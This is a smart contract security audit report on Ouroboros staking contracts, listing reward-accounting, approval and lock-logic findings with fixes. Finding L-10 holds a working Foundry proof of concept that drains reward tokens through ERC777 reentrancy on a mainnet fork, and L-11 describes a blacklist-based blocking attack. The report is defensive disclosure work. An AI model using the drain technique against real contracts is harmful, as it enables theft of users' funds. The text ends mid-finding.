Pashov Audit Group

Ouroboros Security Review

Conducted by:

Shaka
0x37
0xAlix2

June 30th 2025 - July 14th 2025

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of 40+ freelance security researchers, who are well proven in the space - most have earned over $100k in public contest rewards, are multi-time champions or have truly excelled in audits with us. We only work with proven and motivated talent.

With over 300 security audits completed — uncovering and helping patch thousands of vulnerabilities — the group strives to create the absolute very best audit journey possible. While 100% security is never possible to guarantee, we do guarantee you our team's best efforts for your project.

Check out our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact

- **High** - leads to a significant material loss of assets in the protocol or significantly harms a group of users
- **Medium** - leads to a moderate material loss of assets in the protocol or moderately harms a group of users
- **Low** - leads to a minor material loss of assets in the protocol or harms a small group of users

Likelihood

- **High** - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost
- **Medium** - only a conditionally incentivized attack vector, but still relatively likely
- **Low** - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive

4. About Ouroboros

Ouroboros is a borrowing and CDP stablecoin protocol with two main tokens - USDx and ORX. USDx is a fully collateralized, dollar-pegged stablecoin that uses assets like TitanX and DragonX as collateral. ORX is a limited-supply ERC20 token that facilitates staking rewards and fee distribution within the Ouroboros ecosystem. The scope of this audit was focused on advanced staking for Uniswap V3 LP NFTs and ERC20 tokens, integrating Revert Finance`s time-vesting enhancements and enforcing position validation to prevent reward gaming. It supports protocol-owned liquidity, flexible emission styles (immediate, linear, and exponential vesting), and includes tools for managing liquidity and rewards directly within the platform.

5. Executive Summary

A time-boxed security review of the **Ouroboros-Protocol/Ouroboros_Staking** repository was done by Pashov Audit Group, during which **Shaka**, **0x37**, **0xAlix2** engaged to review **Ouroboros**. A total of **18** issues were uncovered.

Protocol Summary	
Project Name	Ouroboros
Protocol Type	Liquidity management
Timeline	June 30th 2025 - July 14th 2025

Review commit hash:

- 7ea0311ecabbd8841e4003cbbccf22683c232f18 (Ouroboros-Protocol/Ouroboros_Staking)

Fixes review commit hash:

- fd1466f548d1260c4dcd53d8c2fc689dc095e693 (Ouroboros-Protocol/Ouroboros_Staking)

Scope

`ERC20Staker.sol` `EmissionController.sol` `UniswapV3Staker.sol` `UniswapV3StakerViews.sol` `IncentiveId.sol` `NFTPositionInfo.sol` `RewardMath.sol` `TransferHelperExtended.sol` `FullRangeZap.sol`

6. Findings

Findings count

Severity	Amount
High	1
Medium	1
Low	16
Total findings	**18**

Summary of findings

ID	Title	Severity	Status
[H-01]	Stakers may fail to claim all incentives	High	**Resolved**
[M-01]	USDT is not applicable for IERC20Minimal interface	Medium	**Resolved**
[L-01]	`ERC20Staker` does not expose locked incentives data	Low	**Resolved**
[L-02]	`NFTPositionInfo` will not work properly in ZKSync	Low	Acknowledged
[L-03]	`UniswapV3Staker` contract exceeds the size limit for mainnet deployment	Low	**Resolved**
[L-04]	Fail to create position with token which does not support 0 approval	Low	Acknowledged
[L-05]	Incentive ID collisions from missing `emissionSettings` in hash	Low	**Resolved**
[L-06]	Inactive incentives are not removed after full reward depletion	Low	**Resolved**
[L-07]	Incorrect reward value returned in `unstakeERC20` and `claimERC20Reward`	Low	**Resolved**
[L-08]	Missing validation for `stagingDuration` in `UniswapV3Staker`	Low	**Resolved**
[L-09]	Ending incentive fails to prevent stale reward accrual and emissions	Low	**Resolved**

ID	Title	Severity	Status
[L-10]	ERC777 ewards in `UniswapV3Staker` allow reentrancy draining	Low	**Resolved**
[L-11]	`endIncentive` may be blocked	Low	Acknowledged
[L-12]	`resetERC20Lock()` design flaw: automatic reset needed on restake	Low	Acknowledged
[L-13]	Users claim excess rewards using post-incentive in-range time	Low	Acknowledged
[L-14]	Incorrect `cliffDuration` handling may undervest rewards	Low	Acknowledged
[L-15]	`ReleasePol()` can be frontrun to bypass incentive rules	Low	Acknowledged
[L-16]	Vested rewards lost if users alter liquidity mid-incentive	Low	Acknowledged

High findings

[H-01] Stakers may fail to claim all incentives

Severity

Impact: High

Likelihood: Medium

Description

In UniswapV3Staker, the owner can create one incentive. There is one kind of incentive that we have a fixed tick range position. LP holders can earn some incentives on condition that their position's range should match this fixed range. According to the readme, the common use is `full-range positions(-887220 - 887220)`.

In Uniswap v3, most traders will not choose the full range liquidity. Because full range liquidity will have very low liquidity efficiency.

As one LP holder, the possible profit with this v3 staker includes swap fees, incentive rewards, and possible Impermanent Loss. Compared with one full range liquidity, users prefer to provide liquidity with one proper liquidity range, because the same amount of assets will provide much higher liquidity than full range liquidity to earn more swap fees.

If we create one incentive with one full-range position, stakers have to give up lots of swap fees to earn the related incentive rewards. This will cause more users will not to choose to stake their positions. This will have some side effects for stakers.

For example: 1. The owner creates one full range incentive with 100 DAI rewards. 2. Alice deposits 1000 USDC/1000 USDT liquidity to USDC/USDT pool with full range 3. Bob deposits 1000 USDC/1000 USDT liquidity to USDC/USDT pool with a price range 0.98 - 1.02. 4. Alice stakes her position in the v3 staker.

Bob's liquidity will be around 100x than Alice. Let's assume the actual price is always in the range of 0.98 - 1.02. 1. Alice's profit: less than 1% swap fees + less than 1 DAI. 2. Bob's profit: more than 99% swap fees.

```
    function decreaseLiquidity(
        uint256 tokenId,
        uint128 liquidity,
        uint256 amount0Min,
        uint256 amount1Min,
        uint256 deadline
    ) external override returns (uint256 amount0, uint256 amount1) {
        // Only the position's owner can decrease liquidity.
        require(deposits[tokenId].owner == msg.sender, 'E020');

@>        require(!deposits[tokenId].buildsPOL, 'E024');
```

```
    }
    function withdrawToken(
        uint256 tokenId,
        address to,
        bytes memory data
    ) external override {
        // Tokens with POL cannot be withdrawn.
@>        require(!deposit.buildsPOL, 'E024');
    }
    function _calculateAndDistributeRewards(
        IncentiveKey memory key,
        Deposit memory deposit,
        bytes32 incentiveId,
        uint160 secondsPerLiquidityInsideInitialX128,
        uint32 secondsInsideInitial,
        uint128 liquidity
    ) private returns (uint256) {
        Incentive storage incentive = incentives[incentiveId];
        (, uint160 secondsPerLiquidityInsideX128, uint32 secondsInside) =
                                key.pool.snapshotCumulativesInside(deposit.tickLower,
deposit.tickUpper);
        ...
    }
```

Recommendations

Refer to uniswap v3 staker, anyone would like to join this incentive because users can choose their wished liquidity range, besides that, LP holders can have some extra incentive via v3 staker.

If we want to choose one fixed range incentive, we should choose this fixed range carefully. Full-range liquidity is not a proper one.

Medium findings

[M-01] USDT is not applicable for IERC20Minimal interface

Severity

Impact: Medium

Likelihood: Medium

Description

When users want to increase liquidity, users can do liquidity via the function `_executeLiquidityIncrease`. In function `_executeLiquidityIncrease`, we will transfer assets to UniswapV3Staker, and then approve asset token to the `nonfungiblePositionManager`. The problem here is that USDT token does not support `IERC20Minimal(token0).approve` interface. This will cause this transaction to be reverted.

In FunnRangeZap, we add some special logic to process USDT case. In UniswapV3Staker, we should process USDT case, too.

```
function _executeLiquidityIncrease(
    uint256 tokenId,
    uint256 amountAdd0,
    uint256 amountAdd1,
    uint256 amount0Min,
    uint256 amount1Min,
    uint256 deadline
) private returns (uint128 liquidity, uint256 amount0, uint256 amount1) {
    (, , address token0, address token1, , , , , , , , ) =
        nonfungiblePositionManager.positions(tokenId);
    // Transfer assets token0, token1 to this contract.
    TransferHelperExtended.safeTransferFrom(token0, msg.sender, address(this), amountAdd0);
    TransferHelperExtended.safeTransferFrom(token1, msg.sender, address(this), amountAdd1);
    // approve to the NPM.
    // @audit-issue it's possible to be revert here ???
    IERC20Minimal(token0).approve(address(nonfungiblePositionManager), amountAdd0);
    IERC20Minimal(token1).approve(address(nonfungiblePositionManager), amountAdd1);
}
```

Recommendations

Use safeApprove to support USDT.

Low findings

[L-01] `ERC20Staker` does not expose locked incentives data

`ERC20Staker` uses the `_lockedIncentives` set and the `_tokenLockedIncentives` mapping to track locked incentives.

```
70:     // Tracks all locked incentives for efficient querying
71:     EnumerableSet.Bytes32Set private _lockedIncentives;
72:     // Tracks locked incentives by staking token
73:     mapping(IERC20Minimal => EnumerableSet.Bytes32Set) private _tokenLockedIncentives;
```

In the code, the use of these variables is limited to adding and removing the incentive IDs, so it is expected that they are used for external consumption. However, the variables are private, and there are no public or external functions to access them.

It is recommended to add external functions to retrieve the values of `_lockedIncentives` and `_tokenLockedIncentives`.

[L-02] `NFTPositionInfo` will not work properly in ZKSync

It is expected that the contracts can be deployed on any network where UniswapV3 is deployed. In ZKSync, however, the `NFTPositionInfo` library will not work properly, as the version of `PoolAddress` it uses is not compatible with ZKSync.

This will cause `NFTPositionInfo.getPositionInfo()` to return the incorrect pool address, which will lead to a revert on the staking of positions.

If it is desired to deploy the contracts on ZKSync, consider creating a new version of `NFTPositionInfo` using the ZKSync's `PoolAddress` library.

[L-03] `UniswapV3Staker` contract exceeds the size limit for mainnet deployment

The `UniswapV3Staker` contract exceeds the size limit for mainnet deployment. Even when setting the optimizer runs to 1, the runtime size is 24.05 KiB, while the limit is 24 KiB.

```
yarn run size-contracts

(...)

 ·------------------------------------------------------------------------------|--------------·
 |  Contract Name                                                               ·  Size (Kb)   |
 ·······························································································|··············
(...)
 ·······························································································|··············
 |  contracts/UniswapV3Staker.sol:UniswapV3Staker                               ·      24.05   |
 ·------------------------------------------------------------------------------|-------------·

 Warning: 1 contracts exceed the size limit for mainnet deployment.
```

It is required to reduce the size of the `UniswapV3Staker` contract to fit within the 24 KiB limit for mainnet deployment.

[L-04] Fail to create position with token which does not support 0 approval

In FullRangeZap, we will reset the approval to 0 in order to process USDT's approval flow. However, there are some tokens which does not support approving 0, e.g. BNB token. This will cause our clear approval to be reverted.

```
    function _createAndStakePosition(
        ZapParams memory params,
        PositionAmounts memory amounts,
        IUniswapV3Staker.IncentiveKey memory incentiveKey,
        uint256 deadline
    ) private returns (uint256 tokenId, uint256 amount0, uint256 amount1) {
        ...
        if (amount0 < amounts.token0Amount) {
            TransferHelper.safeApprove(params.token0, address(nonfungiblePositionManager), 0);
        }

        if (amount1 < amounts.token1Amount) {
            TransferHelper.safeApprove(params.token1, address(nonfungiblePositionManager), 0);
        }
    }
```

Recommendation: Suggest using forceApprove

```
    function forceApprove(IERC20 token, address spender, uint256 value) internal {
        bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value));

        if (!_callOptionalReturnBool(token, approvalCall)) {
            _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0)));
            _callOptionalReturn(token, approvalCall);
        }
    }
```

[L-05] Incentive ID collisions from missing `emissionSettings` in hash

In `ERC20Staker`, each ERC20 staking incentive is uniquely identified using a deterministic hash computed via `computeERC20IncentiveId`:

```
function computeERC20IncentiveId(
    IERC20Minimal rewardToken,
    IERC20Minimal stakingToken,
    uint256 reward,
    uint256 startTime,
    uint256 endTime,
    address refundee,
    bool isLocked
) public pure returns (bytes32 incentiveId) {
    return keccak256(
        abi.encode(
            rewardToken,
            stakingToken,
            reward,
            startTime,
            endTime,
            refundee,
            isLocked
        )
    );
}
```

However, the hash does **not** include the `emissionSettings` field of the `ERC20IncentiveKey` struct. As a result:

- Two incentives with the **same token parameters** but **different emission styles, periods, cliffs, or staging durations** will produce the **same incentive ID**.
- This leads to collisions in `erc20Incentives` and breaks incentive isolation guarantees.
- The second incentive creation will fail with:

`solidity require(erc20Incentives[incentiveId].totalRewardUnclaimed == 0, ...);`

This issue breaks the flexibility promised by supporting multiple emission styles.

Consider including the encoded `emissionSettings` in the incentive ID hash to ensure that incentives with different emission parameters are treated as distinct:

```
return keccak256(
    abi.encode(
        rewardToken,
        stakingToken,
        reward,
        startTime,
        endTime,
        refundee,
        isLocked,
+       key.emissionSettings.emissionStyle,
+       key.emissionSettings.period,
+       key.emissionSettings.cliff,
+       key.emissionSettings.stagingDuration
    )
);
```

[L-06] Inactive incentives are not removed after full reward depletion

The `_activeIncentives` and `_lockedIncentives` sets are intended to track ongoing ERC20 staking and locked incentives. However, these sets are only updated when the owner explicitly calls `endERC20Incentive`. If all rewards are claimed and `endERC20Incentive` is never called, the incentive remains in these sets despite being functionally inactive.

Moreover, `endERC20Incentive` cannot be called once all rewards are depleted, due to the following check: ```solidity require(incentive.totalRewardUnclaimed > 0, "ERC20Staker::endERC20Incentive: non-existent incentive"); ````

This leads to stale entries in `getActiveIncentivesPaginated`, which may return incentives that have already distributed all rewards and are no longer active.

This issue is also present in `activeIncentives` in `UniswapV3Staker`.

Consider introducing an automatic cleanup mechanism in `unstakeERC20` that removes the incentive from `_activeIncentives` (and `_lockedIncentives` if applicable) when `totalRewardUnclaimed == 0` and `totalStaked == 0`, to ensure proper state hygiene after the final user unstakes.

[L-07] Incorrect reward value returned in `unstakeERC20` and `claimERC20Reward`

When users stake ERC20 tokens in the `ERC20Staker` contract, they accumulate rewards over time. These rewards can be claimed in two ways: 1. By calling `unstakeERC20`, which claims the rewards and unstakes the tokens. 2. By calling `claimERC20Reward`, which claims rewards without unstaking.

Both functions follow a similar reward claim flow:

```
// Update rewards before changing stake
_updateReward(msg.sender, incentiveId);

// Get earned rewards
reward = stake.rewards;

// Reset rewards since we're distributing them
stake.rewards = 0;

// ... snip ...

// Distribute rewards
uint256 actualReward = _distributeERC20Reward(incentiveId, msg.sender, reward);

// ... snip ...

return reward;
````
```
```

~~~
However, the `_distributeERC20Reward` function may modify the reward amount (e.g., when the
incentive has ended):

```solidity
if (reward > incentive.totalRewardUnclaimed) {
    reward = incentive.totalRewardUnclaimed;
}
~~~

Despite this, both `unstakeERC20` and `claimERC20Reward` return the original `reward` variable instead of the possibly modified `actualReward`, leading to an inaccurate return value that may not match what was actually transferred to the user.

Consider updating both functions to return the `actualReward` value to accurately reflect the distributed amount:

```
-return reward;
+return actualReward;
```

[L-08] Missing validation for `stagingDuration` in `UniswapV3Staker`

In `UniswapV3Staker.createIncentive`, the `stagingDuration` parameter is only validated when the emission style is `Vested`, but not when it is `Dripped`. This is inconsistent with the documentation, which clearly states that both `Dripped` and `Vested` emissions support `stagingDuration`.

As a result, invalid values (e.g., excessive durations) may be set for `Dripped` emissions, leading to unexpected behavior during reward claiming. This issue is avoided in `ERC20Staker.createERC20Incentive`, which correctly validates `stagingDuration` for both emission styles.

Consider updating `UniswapV3Staker.createIncentive` to validate `stagingDuration` regardless of whether the emission style is `Dripped` or `Vested`, as long as it is not `Regular`.

[L-09] Ending incentive fails to prevent stale reward accrual and emissions

Users can stake ERC20 tokens in `ERC20Staker` to earn rewards in another ERC20 token, distributed over a predefined incentive duration. The contract allows the incentive owner to end an incentive after its `endTime` plus a grace period. When this occurs, any unclaimed rewards are transferred to the incentive owner, and users can only withdraw their staked tokens — no further rewards should be earned or claimable.

Upon ending an incentive, the following occurs:

~~~~~
// Refund is the remaining unclaimed amount
refund = incentive.totalRewardUnclaimed;

// Reset incentive data
incentive.totalRewardUnclaimed = 0;
````

However, this state change is not properly handled in two places:

1. **Reward View Inaccuracy**:
   The `getERC20RewardInfo` and `getERC20StakesPaginated` functions continue to report
`earnedReward > 0` even after the incentive is ended. This is because the `earned()` function
computes rewards solely based on time and rate, without checking if any unclaimed rewards
remain. As a result, the UI or integrators may show incorrect, non-claimable rewards to the
user.

2. **Incorrect Reward Distribution Path**:
   In `unstakeERC20()`, pending rewards are distributed via `_distributeERC20Reward()`. It
first checks if the reward is zero:

   ```solidity
   if (reward == 0) {
       return 0;
   }
   ```

   Then, it caps the reward against `incentive.totalRewardUnclaimed`. However, since the
incentive is already ended, `totalRewardUnclaimed` has been reset to 0, so this cap is silently
enforced. If the emission style is non-Regular, the logic proceeds to create a new emission
entry with a 0 reward. These emissions are effectively empty and can never be claimed.

   This issue is also present in `UniswapV3Staker::_distributeReward`.

Ensure that once an incentive is ended and its unclaimed rewards are refunded, no further
rewards can be observed or distributed:

1. In `getERC20RewardInfo` and `getERC20StakesPaginated`, gate the reward calculation on
`totalRewardUnclaimed`:

```diff
-earnedReward = earned(user, incentiveId);
+earnedReward = incentive.totalRewardUnclaimed == 0 ? 0 : earned(user, incentiveId);
~~~~~

1. In `_distributeERC20Reward`, move the `reward == 0` check **after** capping against `totalRewardUnclaimed`:

```diff
-if (reward == 0) {
-    return 0;
-}
-
ERC20Incentive storage incentive = erc20Incentives[incentiveId];

// Cap reward at available unclaimed amount
if (reward > incentive.totalRewardUnclaimed) {
    reward = incentive.totalRewardUnclaimed;
}
+
```

```
+if (reward == 0) {
+    return 0;
+}
```

This ensures that no phantom rewards are exposed and no empty emissions are created.

[L-10] ERC777 ewards in `UniswapV3Staker` allow reentrancy draining

`UniswapV3Staker._unstakeToken()` calculates and distributes rewards before cleaning up the stake storage.

If the emission style is `Regular` and the reward token is an ERC777 token, it is possible to reenter the contract and unstake the same token again before the storage is cleaned up, distributing the same rewards multiple times, allowing the attacker to drain all the balance of the reward token from the contract.

```
    function _unstakeToken(IncentiveKey memory key, uint256 tokenId, Deposit memory deposit) private returns (uint256 reward) {
(...)
@>     reward = _calculateAndDistributeRewards(
           key,
           deposit,
           incentiveId,
           secondsPerLiquidityInsideInitialX128,
           secondsInsideInitial,
           liquidity
       );

       _cleanupStakeStorage(tokenId, incentiveId, liquidity);
(...)
    function _distributeReward(
(...)
       if (incentive.emissionSettings.emissionStyle == IEmissionController.EmissionStyle.Regular) {
@>         TransferHelperExtended.safeTransfer(address(key.rewardToken), owner, reward);
```

Proof of concept

- [Set up Foundry in the project](#).
- Create a test file in the `test/foundry` directory with the code below.
- Run `forge test --mt test_audit_erc777RewardReentrancy --fork-url https://eth.llamarpc.com --fork-block-number 22866702`.

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.0;
pragma abicoder v2;

import "forge-std/Test.sol";
import "contracts/UniswapV3Staker.sol";
import "contracts/zaps/FullRangeZap.sol";
import "contracts/interfaces/IUniswapV3Staker.sol";
import "@openzeppelin/contracts/introspection/IERC1820Registry.sol";

contract AuditTests is Test {
    address owner = makeAddr("owner");
    address alice = makeAddr("alice");

    INonfungiblePositionManager positionManager =
INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    IUniswapV3Factory factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);
    IUniswapV3Pool pool = IUniswapV3Pool(0x98409d8CA9629FBE01Ab1b914EbF304175e384C8); // WETH/
VRA pool
    IERC20Minimal WETH = IERC20Minimal(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    IERC20Minimal VRA = IERC20Minimal(0xF411903cbC70a74d22900a5DE66A2dda66507255);
    IERC1820Registry ERC1820_REGISTRY =
IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);

    UniswapV3Staker staker;
    FullRangeZap zap;
    IUniswapV3Staker.IncentiveKey incentiveKey;
    uint256 reward = 1_000e18;
    uint256 tokenId;
    uint256 timesReentered;

    function setUp() public {
        deal(address(VRA), owner, reward);
        incentiveKey = IUniswapV3Staker.IncentiveKey({
            rewardToken: VRA,
            pool: pool,
            reward: reward,
            startTime: block.timestamp,
            endTime: block.timestamp + 30 days,
            vestingPeriod: 0,
            refundee: address(this),
            rangeSettings: IUniswapV3Staker.RangeSettings({
                hasTickRange: false,
                rangeType: IUniswapV3Staker.RangeType.Fixed,
                requiredTickLower: 0,
                requiredTickUpper: 0,
                hasMinWidth: false,
                minTickWidth: 0,
                buildsPOL: false
            }),
            emissionSettings: IEmissionController.EmissionSettings({
                emissionStyle: IEmissionController.EmissionStyle.Regular,
                period: 0,
                cliff: 0,
                stagingDuration: 0,
                isForfeitable: false
            })
        });

        // Owner deploys contracts and creates incentive
        vm.startPrank(owner);
        staker = new UniswapV3Staker(
            factory,
            positionManager,
            30 days,
            365 days
        );

        zap = new FullRangeZap(
            staker,
            factory,
            positionManager,
            ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564),
            IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6)
        );

        VRA.approve(address(staker), reward);
        staker.createIncentive(incentiveKey);
        vm.stopPrank();
    }

    function test_audit_erc777RewardReentrancy() public {
        uint256 wethAmount = 1_000e18;
        deal(address(WETH), address(this), wethAmount);
        deal(address(WETH), alice, wethAmount);

        FullRangeZap.ZapInput memory input = FullRangeZap.ZapInput({
            incentiveKey: incentiveKey,
            inputToken: WETH,
            inputAmount: wethAmount,
            pool: pool,
            minSwapToken0: 0,
            minSwapToken1: 0,
            minLiquidityToken0: 1,
            minLiquidityToken1: 1,
            deadline: block.timestamp
        });

        // Registers the contract as an ERC777TokensRecipient
        ERC1820_REGISTRY.setInterfaceImplementer(
            address(this),
            keccak256("ERC777TokensRecipient"),
            address(this)
        );

        // Create and stake a position
        WETH.approve(address(zap), wethAmount);
        tokenId = zap.zap(input);

        // Alice also creates and stakes a position
        vm.startPrank(alice);
        WETH.approve(address(zap), wethAmount);
        uint256 tokenIdAlice = zap.zap(input);
        vm.stopPrank();

        // Adjust so that both positions have the same liquidity
        (,,,,,,, uint256 liquidity, , , , ) = positionManager.positions(tokenId);
        (,,,,,,, uint256 liquidityAlice, , , , ) = positionManager.positions(tokenIdAlice);
        if (liquidity > liquidityAlice) {
            staker.decreaseLiquidity(
                tokenId,
                uint128(liquidity - liquidityAlice),
                0,
                0,
                block.timestamp
            );
        } else {
            vm.prank(alice);
            staker.decreaseLiquidity(
                tokenIdAlice,
                uint128(liquidityAlice - liquidity),
                0,
                0,
                block.timestamp
            );
        }
        (,,,,,,, liquidity, , , , ) = positionManager.positions(tokenId);
        (,,,,,,, liquidityAlice, , , , ) = positionManager.positions(tokenIdAlice);
        assertEq(liquidity, liquidityAlice, "Liquidity mismatch after decrease");

        // Incentive period passes
        skip(30 days);

        // Unstake position. When VRA rewards are received, `tokensReceived()` is called,
        // which reenters `staker.unstakeToken()` and claims rewards again.
        (uint256 expectedReward,,) = staker.getRewardInfo(incentiveKey, tokenId);
        uint256 vraBalanceBefore = VRA.balanceOf(address(this));
        staker.unstakeToken(incentiveKey, tokenId);
        uint256 vraBalanceDiff = VRA.balanceOf(address(this)) - vraBalanceBefore;
        // Most of the VRA rewards have been claimed.
        assert(vraBalanceDiff == expectedReward * 3);
        assert(vraBalanceDiff > reward * 90 / 100);

        // Alice unstakes her position, but it reverts, as there are is not enough VRA left.
        (uint256 expectedRewardAlice,,) = staker.getRewardInfo(incentiveKey, tokenIdAlice);
        uint256 vraBalanceStaker = VRA.balanceOf(address(staker));
        assert(vraBalanceStaker < expectedRewardAlice);
        vm.prank(alice);
        vm.expectRevert();
        staker.unstakeToken(incentiveKey, tokenIdAlice);
    }

    // ERC777TokensRecipient interface implementation
    // Called when VRA is received
    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata data,
        bytes calldata operatorData
    ) external {
        if (from == address(staker) && amount > 0 && timesReentered < 2) {
            // Reenter unstakeToken() just twice (avoid infinite recursion)
            timesReentered++;
            staker.unstakeToken(incentiveKey, tokenId);
        }
    }
}
```

Recommendations

Clean up the stake storage before the calculation and distribution of the rewards.

[L-11] `endIncentive` may be blocked

In UniswapV3Staker, the owner can create one incentive. When we reach the end of this incentive, we can end this incentive via function `endIncentive`. In the function `endIncentive`, we can refund the unclaimed rewards.

In function `endIncentive`, if we want to end this incentive to refund the unclaimed asset, we need to make sure all participants have already unstaken with this incentive. When we reach the end of one incentive, anyone can help participants to unstake this incentive.

The problem here is that in the function `unstakeToken`, we will calculate the accrued rewards and distribute rewards. If the emission style is regular, we will transfer assets to the owner directly.

If the reward token is USDC/USDT token, the unstake function may be reverted because of the USDC/USDT's blacklist. This will block endIncentive. The owner cannot retrieve the remaining assets.

As one malicious user, they can create a tiny liquidity to stake with an incentive and then transfer the position to one blacklist user.

```
    function _unstakeToken(IncentiveKey memory key, uint256 tokenId, Deposit memory deposit)
private returns (uint256 reward) {
        bytes32 incentiveId = IncentiveId.compute(key);

        (uint160 secondsPerLiquidityInsideInitialX128, uint32 secondsInsideInitial, uint128
liquidity) =
                        _getAndValidateStake(tokenId, incentiveId);
        // @note-ok when we unstake one incentives, should we clear the POL flag ???
        _updateStakeCounts(tokenId, incentiveId);
        userERC721Stakes[deposit.owner][tokenId].remove(incentiveId);
        // remove this token from this incentive.
        incentiveTokens[incentiveId].remove(tokenId);
        // When we unstake, we can calculate the incentive rewards.
@>        reward = _calculateAndDistributeRewards(
            key,
            deposit,
            incentiveId,
            secondsPerLiquidityInsideInitialX128,
            secondsInsideInitial,
            liquidity
        );
        ...
    }
    function _calculateAndDistributeRewards(
        IncentiveKey memory key,
        Deposit memory deposit,
        bytes32 incentiveId,
        uint160 secondsPerLiquidityInsideInitialX128,
        uint32 secondsInsideInitial,
        uint128 liquidity
    ) private returns (uint256) {
        ...
        // Distribute rewards based on emission style
        _distributeReward(key, incentiveId, incentive, deposit.owner, reward);

    }
    function _distributeReward(
        IncentiveKey memory key,
        bytes32 incentiveId,
        Incentive storage incentive,
        address owner,
        uint256 reward
    ) private {
        // If the emssion controller is regular, users can claim reward directly.
        if (incentive.emissionSettings.emissionStyle ==
IEmissionController.EmissionStyle.Regular) {
@>            TransferHelperExtended.safeTransfer(address(key.rewardToken), owner, reward);
            emit RewardClaimed(key.rewardToken, owner, reward);
        }
    }
```

Recommendations

If we choose the regular emission style, record the rewards, and users can claim their rewards via a new interface.

[L-12] `resetERC20Lock()` design flaw: automatic reset needed on restake

The previously reported issue L-07 suggested introducing a `resetERC20Lock()` function to allow the contract owner to reimpose a lock after calling `releaseERC20Lock()`. While that report correctly identified a missing lock recovery path, its proposed and implemented solution introduces an **inappropriate permission model.**

Lock status should **not** be controlled manually by the owner. Instead, it should reflect whether the stake exists in a locked incentive. Specifically:

- If a user's lock is released for a specific incentive via `releaseERC20Lock()`, and
- The user unstakes, then re-stakes into that **same locked incentive** again,

Then the lock **should be re-applied automatically**, since they opted into the rules of a new locked staking period. However, in the current implementation, the lock remains released until the owner manually calls `resetERC20Lock()`, which creates:

- Inconsistent enforcement of lock rules,
- A potential attack vector where users rejoin locked incentives while retaining withdrawal flexibility.

Recommendations

The lock should **automatically reset to** `false` when the user stakes again into a locked incentive:

```
function stakeERC20(bytes32 incentiveId, uint256 amount) external {
  ...
  if (stake.amount == 0) {
      _userERC20IncentiveIds[msg.sender].add(incentiveId);
+
+     // If incentive is locked, reset release flag on fresh stake
+     if (incentive.key.isLocked) {
+         userLockReleased[msg.sender][incentiveId] = false;
+     }
  }
}
```

[L-13] Users claim excess rewards using post-incentive in-range time

When users stake their UniV3 positions in the `UniswapV3Staker` contract to earn some rewards. The owner creates incentives with a certain tick range and a vesting period, where the pool's price needs to stay in the range for a certain period of time to earn rewards. This period of time is called the vesting period. If the time inside the ticks is < the vesting period while the incentive is active, the user will not be able to claim 100% of the rewards, but only a fraction of it.

```
if (params.vestingPeriod <= params.secondsInside - params.secondsInsideInitial) {
    reward = maxReward;
} else {
    reward = maxReward * (params.secondsInside - params.secondsInsideInitial) /
params.vestingPeriod;
}
```

On the other hand, the owner can't end an incentive unless all the users who staked their positions in the incentive have unstaked their positions.

```
require(incentive.numberOfStakes == 0, "E016");
```

Users can also unstake their positions at any time, but they will be able to claim only the rewards they earned until that moment, which is calculated based on the time they spent inside the ticks of the incentive. After the end of the incentive, anyone could unstake for any user, and the user will be able to claim the rewards they earned until the end time, no longer.

However, there's a case that allows a user to still earn rewards even after the end of the incentive, and this happens when the pool's price goes out of range for X period, but the user doesn't unstake (and no one unstakes for him) until X time passed over the end, allowing him to still earn 100% of the rewards, where he shouldn't as his position wasn't in range 100% of the time of the incientive.

This leads to a loss of funds for the owner.

Proof of Concept:

Setup:

- `startTime = 1000`.
- `endTime = 1600`.
- `vestingPeriod = 600`.
- LP stakes at `t = 1000`.
- LP unstakes at `t = 1700`.

- Price range behavior:

- **In range:** `1000 → 1200` → `+200s`.
- **Out of range:** `1200 → 1300` → `+0s`.
- **In range again:** `1300 → 1600` → `+300s`.
- **Post-end:** `1600 → 1700` → `+100s` (still in-range, but after incentive ended).

snapshotCumulativesInside:

- `secondsInsideInitial = X`.
- `secondsInside = X + 200 (pre) + 300 (pre) + 100 (post) = X + 600`.

So:

```
params.secondsInside - params.secondsInsideInitial = 600
```

With `secondsDelta = 600` and `vestingPeriod = 600`, user gets **full** `maxReward`

But: The last 100s were *after* `endTime = 1600`, which shouldn't count.

Actual in-range vesting time pre-end = 200 + 300 = **500s**

User should only get:

```
reward = maxReward * 500 / 600 = ~83.33% of reward
```

But they incorrectly receive 100%.

Recommendations

Implement logic to **cap the** `secondsInside` **delta at** `endTime`.

One approach is to:

- Snap and store the `secondsInside` value at `endTime`, via a `finalizeIncentive` or `markIncentiveEnded` function (which could be called at `incentive.endTime`).
- After `endTime`, use this snapped value instead of live `snapshotCumulativesInside`.
- This ensures any post-incentive in-range time does not affect vesting logic.

This prevents users from claiming undeserved rewards and ensures fairness across all stakers.

In our example, `secondsInside` will be capped at `X + 500`, and the user will only be able to claim 83.33% of the rewards, which is the correct amount.

[L-14] Incorrect `cliffDuration` handling may undervest rewards

When claiming emissions of non-Regular style, rewards are routed through the `EmissionController`, which supports vesting parameters including `cliffDuration` and `stagingDuration`.

According to the documented behavior: - `cliffDuration`: No rewards are claimable until the cliff period ends. - `stagingDuration`: Once claimed, tokens are staged for a delay before withdrawal.

The issue lies in the handling of `cliffDuration`. Although the cliff is intended to **block claiming**, it should **not block vesting**. That is, rewards should continue vesting during the cliff period but remain unclaimable until the cliff has passed, OZ example.

```
